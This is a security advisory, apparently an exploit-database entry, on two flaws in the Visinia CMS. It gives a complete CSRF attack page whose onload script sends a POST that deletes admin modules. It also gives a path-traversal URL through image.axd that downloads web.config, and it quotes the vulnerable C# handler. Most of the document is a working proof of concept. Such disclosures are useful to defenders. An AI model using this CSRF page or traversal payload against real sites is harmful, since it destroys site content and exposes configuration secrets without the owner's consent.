Description :
===========================================================================================
  This version of Visinia have Multiple Valnerabilities :

        1- CSRF for Remove Modules
	2- LFI for download web.config or any file



CSRF for Remove Modules:
===========================================================================================

  With this vulnerability you can navigate the admin to visit malicious  site (when he is already logged in)
  to remove a Module with a POST request to server.

  In this path the Module will be removed:
         http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&ModuleId=159

  for removing other modules you need to just change ModuleId.


  The Source of HTML Page (Malicious  script) is here:
  ----------------------------------------------------------------------------------------
<html>
<head>
<title >Wellcome to My Site!</title>
Hello!
...
...
...
This page remove Modules in Visinia CMS.

<script>
        function RemoveModule() {
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {}

            var http = false;
            if (window.XMLHttpRequest) {
                http = new XMLHttpRequest();
            }
            else if (window.ActiveXObject) {
                http = new ActiveXObject("Microsoft.XMLHTTP");
            }

            url = "http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&ModuleId=159";
            http.onreadystatechange = done;
            http.open('POST', url, true);
            http.send(null);
        }
        function done() {
            if (http.readyState == 4 && http.status == 200)
            {
            }
        }
</script>
</head>
<body onload ="RemoveModule();">
</body>
</html>

  ----------------------------------------------------------------------------------------


File Disclosure Vulnerability:
===========================================================================================

  using this path you can download web.config file from server.
         http://Example.com/image.axd?picture=viNews/../../web.config

  The downloaded file is image.axd, while after downloading you find that the content of
  image.axd is web.config.

  Vulnerable Code is in this DLL    : visinia.SmartEngine.dll
  and this Method : ProcessRequest(HttpContext context)

  --------------------------------------------------------------------
   public void ProcessRequest(HttpContext context)
   {
    if (!string.IsNullOrEmpty(context.Request.QueryString["picture"]))
    {
        string fileName = context.Request.QueryString["picture"];     // Give the file from URL
        string folder = WebRoots.GetResourcesRoot();
        try
        {
            FileInfo fi = new FileInfo(context.Server.MapPath(folder) + fileName);
            int index = fileName.LastIndexOf(".") + 1;
            string extension = fileName.Substring(index).ToLower();
            if (string.Compare(extension, "jpg") == 0)
            {
                context.Response.ContentType = "image/jpeg";
            }
            else
            {
                context.Response.ContentType = "image/" + extension;
            }
            context.Response.TransmitFile(fi.FullName);              // Put the file in 'Response' for downloading without any check
        }
        catch
        {
        }
    }
   }
